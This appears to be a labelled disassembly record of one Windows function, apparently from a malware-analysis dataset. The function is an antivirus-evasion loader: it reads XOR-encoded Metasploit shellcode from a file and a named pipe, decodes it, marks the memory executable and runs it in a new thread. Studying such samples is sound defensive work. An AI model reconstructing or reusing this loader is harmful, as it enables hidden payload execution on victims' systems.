Function at 0x140011037
Capabilities:
Connect pipe
Create pipe
Create thread
Read file on windows

Disassembly:
jmp 0x140012740
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x878
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x17e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x898]
mov rax, qword [0x14001f040]
xor rax, rbp
mov qword [rbp + 0x820], rax
lea rcx, [0x140025101]
call fcn.1400114f6
nop
lea rax, str.C:UsersicfhDesktopBypassAVCATmsf_shellcodemsf6666_raw_xor
mov qword [rbp + 8], rax
mov qword [rbp + 0x508], 0
lea rdx, [0x14001bf20]
mov rcx, qword [rbp + 8]
call qword [sym.imp.ucrtbased.dll_fopen]
mov qword [rbp + 0x528], rax
mov r8d, 2
xor edx, edx
mov rcx, qword [rbp + 0x528]
call qword [sym.imp.ucrtbased.dll_fseek]
nop
mov rcx, qword [rbp + 0x528]
call qword [sym.imp.ucrtbased.dll_ftell]
mov dword [0x14001f4c0], eax
mov rcx, qword [rbp + 0x528]
call qword [sym.imp.ucrtbased.dll_rewind]
nop
mov eax, dword [0x14001f4c0]
mov ecx, eax
call fcn.14001122b
mov qword [rbp + 0x7e8], rax
mov rax, qword [rbp + 0x7e8]
mov qword [0x14001f4c8], rax
mov eax, dword [0x14001f4c0]
mov r9, qword [rbp + 0x528]
mov r8d, eax
mov edx, 1
mov rcx, qword [0x14001f4c8]
call qword [sym.imp.ucrtbased.dll_fread]
mov qword [rbp + 0x548], rax
mov eax, dword [0x14001f4c0]
cmp qword [rbp + 0x548], rax
je 0x1400128d3
lea rdx, str.read_error
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14001109b
lea rdx, [0x140011041]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rax, qword [0x14001f4c8]
mov qword [rbp + 0x808], rax
mov rcx, qword [rbp + 0x808]
call fcn.140011271
cmp qword [rbp + 0x808], 0
jne 0x1400128a5
mov qword [rbp + 0x818], 0
jmp 0x1400128be
mov qword [0x14001f4c8], 0x8123
mov rax, qword [0x14001f4c8]
mov qword [rbp + 0x818], rax
mov rcx, qword [rbp + 0x528]
call qword [sym.imp.ucrtbased.dll_fclose]
nop
xor eax, eax
jmp 0x140012b40
mov dword [rbp + 0x564], 0
jmp 0x1400128ed
mov eax, dword [rbp + 0x564]
inc eax
mov dword [rbp + 0x564], eax
mov eax, dword [0x14001f4c0]
cmp dword [rbp + 0x564], eax
jae 0x140012914
mov eax, dword [rbp + 0x564]
mov rcx, qword [0x14001f4c8]
add rcx, rax
mov rax, rcx
lock xor byte [rax], 0xff
jmp 0x1400128df
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 0x400
mov r9d, 0xff
xor r8d, r8d
mov edx, 1
mov rcx, qword [section..data]
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0xffffffffffffffff
jne 0x1400129aa
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0xa4], eax
lea rdx, str.___Create_Pipe_Error:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001109b
mov edx, dword [rbp + 0xa4]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x14001bf38]
mov rcx, rax
call fcn.14001109b
nop
mov eax, dword [rbp + 0xa4]
jmp 0x140012b40
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140011109]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
nop
xor edx, edx
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
test eax, eax
jle 0x140012b3e
lea rdx, str.__Client_Connected..._n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001109b
nop
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0xc4]
mov r8d, 0x400
lea rdx, [rbp + 0xf0]
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_ReadFile]
nop
lea rdx, str.__Get_DATA_Length_:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001109b
mov edx, dword [rbp + 0xc4]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x14001bf38]
mov rcx, rax
call fcn.14001109b
nop
mov eax, dword [rbp + 0xc4]
mov r9d, 4
mov r8d, 0x1000
mov edx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x508], rax
mov eax, dword [rbp + 0xc4]
mov r8d, eax
lea rdx, [rbp + 0xf0]
mov rcx, qword [rbp + 0x508]
call fcn.140011280
nop
mov dword [rbp + 0x584], 0
jmp 0x140012ab2
mov eax, dword [rbp + 0x584]
inc eax
mov dword [rbp + 0x584], eax
mov eax, dword [rbp + 0xc4]
cmp dword [rbp + 0x584], eax
jae 0x140012ae5
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
mov eax, dword [rbp + 0x584]
mov rcx, qword [0x14001f4c8]
add rcx, rax
mov rax, rcx
lock xor byte [rax], 0xff
jmp 0x140012aa4
mov eax, dword [rbp + 0xc4]
lea r9, [rbp + 0x64]
mov r8d, 0x10
mov edx, eax
mov rcx, qword [rbp + 0x508]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
nop
lea rax, [rbp + 0x24]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 0x508]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x48], rax
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
nop
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x14001be10]
call fcn.14001144c
mov rax, rdi
mov rcx, qword [rbp + 0x820]
xor rcx, rbp
call fcn.14001127b
lea rsp, [rbp + 0x838]
pop rdi
pop rbp
ret